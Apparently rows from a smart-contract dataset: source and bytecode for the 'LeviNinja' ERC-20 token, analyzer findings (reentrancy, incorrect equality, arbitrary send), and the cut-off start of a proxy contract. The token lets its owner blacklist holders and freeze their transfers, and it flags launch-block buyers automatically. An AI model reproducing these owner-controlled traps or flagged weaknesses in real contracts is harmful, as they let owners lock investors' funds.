return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract LeviNinja is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "LeviNinja";
string private constant _symbol = "LeviNinja";
uint private constant _decimals = 9;
uint256 private _teamFee = 8;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 8, "not larger than 8%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b5060408051808201825260098152684c6576694e696e6a6160b81b602082015290516101aa91906118b7565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611931565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50670de0b6b3a76400005b6040519081526020016101aa565b34801561021457600080fd5b506101d361022336600461195d565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b506101706102573660046119b4565b610567565b34801561026857600080fd5b506101d3610277366004611a79565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b0366004611a79565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e5366004611a79565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e366004611a79565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b366004611a79565b6106dd565b34801561038c57600080fd5b506101d361039b366004611931565b610757565b3480156103ac57600080fd5b506101706103bb3660046119b4565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f0366004611a79565b610934565b34801561040157600080fd5b50610170610410366004611a79565b61097f565b34801561042157600080fd5b506101fa610430366004611a96565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611acf565b610bda565b34801561048757600080fd5b50610170610496366004611a79565b610c4f565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611ae8565b60405180910390fd5b60006104d930610685565b90506104e481610ce7565b50565b60006104f4338484610e61565b5060015b92915050565b600061050b848484610f85565b61055d843361055885604051806060016040528060288152602001611c63602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113a0565b610e61565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611ae8565b60005b81518110156105f9576000600560008484815181106105b5576105b5611b1d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611b49565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611ae8565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f8906113da565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611ae8565b6106db600061145e565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611ae8565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f85565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611ae8565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611b1d565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611b1d565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611b1d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611b49565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611ae8565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d81905561092f9060b4611b64565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c590611ae8565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c590611ae8565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611b7c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611b7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611b7c565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c590611ae8565b6008811115610c4a5760405162461bcd60e51b81526020600482015260126024820152716e6f74206c6172676572207468616e20382560701b60448201526064016104c5565b600855565b6000546001600160a01b03163314610c795760405162461bcd60e51b81526004016104c590611ae8565b6001600160a01b038116610cde5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e48161145e565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2f57610d2f611b1d565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dac9190611b7c565b81600181518110610dbf57610dbf611b1d565b6001600160a01b039283166020918202929092010152600b54610de59130911684610e61565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1e908590600090869030904290600401611b99565b600060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b03821661104b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110ad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff16156111555760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c5565b6001600160a01b03831660009081526004602052604081205460ff1615801561119757506001600160a01b03831660009081526004602052604090205460ff16155b80156111ad5750600c54600160a81b900460ff16155b80156111dd5750600c546001600160a01b03858116911614806111dd5750600c546001600160a01b038481169116145b1561138e57600c54600160b81b900460ff1661123b5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c5565b50600c546001906001600160a01b03858116911614801561126a5750600b546001600160a01b03848116911614155b8015611277575042600e54115b156112be57600061128784610685565b90506112a760646112a1670de0b6b3a764000060026114ae565b9061152d565b6112b1848361156f565b11156112bc57600080fd5b505b600d544214156112ec576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f730610685565b600c54909150600160b01b900460ff161580156113225750600c546001600160a01b03868116911614155b1561138c57801561138c57600c54611356906064906112a190600f90611350906001600160a01b0316610685565b906114ae565b81111561138357600c54611380906064906112a190600f90611350906001600160a01b0316610685565b90505b61138c81610ce7565b505b61139a848484846115ce565b50505050565b600081848411156113c45760405162461bcd60e51b81526004016104c591906118b7565b5060006113d18486611c0a565b95945050505050565b60006006548211156114415760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b600061144b6116d1565b9050611457838261152d565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114bd575060006104f8565b60006114c98385611c21565b9050826114d68583611c40565b146114575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b600061145783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f4565b60008061157c8385611b64565b9050838110156114575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b80806115dc576115dc611722565b6000806000806115eb8761173e565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116189085611785565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611647908461156f565b6001600160a01b038916600090815260016020526040902055611669816117c7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ae91815260200190565b60405180910390a350505050806116ca576116ca600954600855565b5050505050565b60008060006116de611811565b90925090506116ed828261152d565b9250505090565b600081836117155760405162461bcd60e51b81526004016104c591906118b7565b5060006113d18486611c40565b60006008541161173157600080fd5b6008805460095560009055565b60008060008060008061175387600854611851565b9150915060006117616116d1565b90506000806117718a858561187e565b909b909a5094985092965092945050505050565b600061145783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a0565b60006117d16116d1565b905060006117df83836114ae565b306000908152600160205260409020549091506117fc908261156f565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a764000061182c828261152d565b82101561184857505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061186460646112a187876114ae565b905060006118728683611785565b96919550909350505050565b6000808061188c86856114ae565b9050600061189a86866114ae565b905060006118a88383611785565b92989297509195505050505050565b600060208083528351808285015260005b818110156118e4578581018301518582016040015282016118c8565b818111156118f6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b803561192c8161190c565b919050565b6000806040838503121561194457600080fd5b823561194f8161190c565b946020939093013593505050565b60008060006060848603121561197257600080fd5b833561197d8161190c565b9250602084013561198d8161190c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c757600080fd5b823567ffffffffffffffff808211156119df57600080fd5b818501915085601f8301126119f357600080fd5b813581811115611a0557611a0561199e565b8060051b604051601f19603f83011681018181108582111715611a2a57611a2a61199e565b604052918252848201925083810185019188831115611a4857600080fd5b938501935b82851015611a6d57611a5e85611921565b84529385019392850192611a4d565b98975050505050505050565b600060208284031215611a8b57600080fd5b81356114578161190c565b60008060408385031215611aa957600080fd5b8235611ab48161190c565b91506020830135611ac48161190c565b809150509250929050565b600060208284031215611ae157600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5d57611b5d611b33565b5060010190565b60008219821115611b7757611b77611b33565b500190565b600060208284031215611b8e57600080fd5b81516114578161190c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611be95784516001600160a01b031683529383019391830191600101611bc4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c1c57611c1c611b33565b500390565b6000816000190483118215151615611c3b57611c3b611b33565b500290565b600082611c5d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201ec6bbc12a7f3db938f557e63bac549dface9f5a02311786219fbed77165cbfc64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,334 |
0x4cfFc147F4E5d6227D3adBa93bBa7d8bba124bA5
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/Proxy.sol
*/
abstract contract Proxy {
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/BaseUpgradeabilityProxy.sol
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Implementation not set"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
emit Upgraded(newImplementation);
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
